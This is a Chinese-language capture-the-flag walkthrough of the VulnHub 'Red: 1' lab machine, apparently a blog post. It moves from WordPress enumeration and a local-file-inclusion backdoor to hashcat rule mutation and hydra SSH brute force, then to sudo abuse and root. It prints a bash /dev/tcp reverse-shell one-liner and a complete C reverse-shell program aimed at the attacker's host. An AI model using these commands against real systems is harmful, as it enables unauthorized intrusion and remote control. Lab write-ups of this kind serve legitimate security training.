VulnHub | Red:1

Red : 1

项目地址

http://www.vulnhub.com/entry/red-1,753/
难度:Medium

测试环境

攻击机:Kali 192.168.56.109

目标靶机:Ubuntu 192.168.56.113

测试过程

信息收集

查找靶机IParp-scan -I eth1 -l,获取到目标IP为192.168.56.113。
1

使用nmap扫描目标开放了哪些端口nmap -sS -p- -n 192.168.56.113,nmap -sV -p22,80 -n 192.168.56.113
2

访问目标网站,并没有被解析,显示并不完整,查看源码,超链接都指向redrocks.win,修改hosts文件,将redrocks.win指向192.168.56.113。
3

网页恢复正常,是个wordpress站点。在查看redrocks.win/2021/10/24/hello-world/源码时发现有行奇怪的注释,一开始以为是网站的用户名,但是使用忘记密码页面时显示无此账户,并且它的首字母大写并不是很正常Looking For It,缩写就是LFI(Local File Inclusion)
![4]https://img.freeaes.com/images/2021/12/19/4.png

查找后门文件

并且网站页面上有hacker留下的信息You’ll never find the backdoor,证明是有后门文件的,通过gobuster使用https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt文件进行遍历,先将文件保存到本地,执行gobuster dir -u http://redrocks.win -w CommonBackdoors-PHP.fuzz.txt,应为文件内已有后缀,所以不用再指定后缀名。

5

找到一个NetworkFileManagerPHP.php。状态码为500,因为是个文件包含所以应该需要一个参数指定包含的文件名,通过burpsuite使用https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/burp-parameter-names.txt文件进行爆破,将文件保存到本地,使用Intrude模块导入字典,设置好参数后爆破得到参数为key

6

7

后门利用

可以看到除了root外还有四个用户,因为直接读取wp-config.php不成功,所以需要使用php伪协议读取php://filter/convert.base64-encode/resource=wp-config.php,选中base64密文,按Ctrl+Shift+B解密。文件内有数据库的用户名和其密码john/R3v_m4lwh3r3_k1nG!!,但是并不能用来登录后台或ssh

8

9

通过读取Network File Manager PHP.php文件发现里面有一串注释过的信息That password alone won't help you! Hashcat says rules are rules

10

11

hash碰撞

hashcat的规则有很多,不过鉴于信息是由base64提供的,选择bset64规则进行hash碰撞hashcat --force pass -r /usr/share/hashcat/rules/best64.rule --stdout > pswd

12

13

使用解出的密码通过hydra进行ssh爆破hydra -l john -P pswd ssh://192.168.56.113,得出密码为R3v_m4lwh3r3_k1nG!!0,使用ssh连接。

14

会话维持

使用sudo -l查看当前用户可执行的命令,有time,执行sudo -u ippsec /usr/bin/time /bin/bash切换到ippsec用户。

15

hacker会不断的给我们发送信息干扰,一段时间后还会将我们踢出连接并修改密码。
首先我们反弹一个shell到kali。先在kali执行nc -lvvp 8848建立监听端口,然后在目标机器上执行bash -i >& /dev/tcp/192.168.56.109/8848 0>&1。反弹成功后执行python3 -c 'import pty;pty.spawn("/bin/bash")',这样即使ssh被踢掉也不会断开。

16

权限提出

网站目录下的wordpress目录内有个.git目录,里面有两个文件,rev和supersecretfileuc.c,rev是supersecretfileuc.c编译的程序,执行会输出信息,就是red时不时弹出的骚扰信息,将rev删除后过段时间会重新编译,并且是root权限。

17

删掉这两个文件,用revshells.com网站生成C的反弹shell程序,通过http服务将其传到目标机器写入supersecretfileuc.c

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main(void){
    int port = 9001;
    struct sockaddr_in revsockaddr;

    int sockt = socket(AF_INET, SOCK_STREAM, 0);
    revsockaddr.sin_family = AF_INET;       
    revsockaddr.sin_port = htons(port);
    revsockaddr.sin_addr.s_addr = inet_addr("192.168.56.109");

    connect(sockt, (struct sockaddr *) &revsockaddr, 
    sizeof(revsockaddr));
    dup2(sockt, 0);
    dup2(sockt, 1);
    dup2(sockt, 2);

    char * const argv[] = {"sh", NULL};
    execve("sh", argv, NULL);

    return 0;       
}

并在kali监听9001端口,过段时间它会自动编译并执行。在root目录下有个root.txt文件。

18

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-D1SUJi8s-1639916470589)(https://img.freeaes.com/images/2021/12/19/19.png)]

20

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值